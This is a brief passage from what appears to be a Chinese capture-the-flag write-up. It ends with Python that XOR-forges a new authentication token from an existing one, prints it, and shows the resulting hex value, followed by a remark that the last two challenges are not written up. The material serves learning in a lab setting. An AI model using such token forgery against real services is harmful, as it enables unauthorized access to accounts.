new_token = xor_bytes(B, C_new).hex() + auth_token[32:]
print(new_token)
#7306ead40338432112a7741aa4daf9829729137db4b167b46f4fa1ea396266c7
剩下两道题,太脑洞了,就不写题解了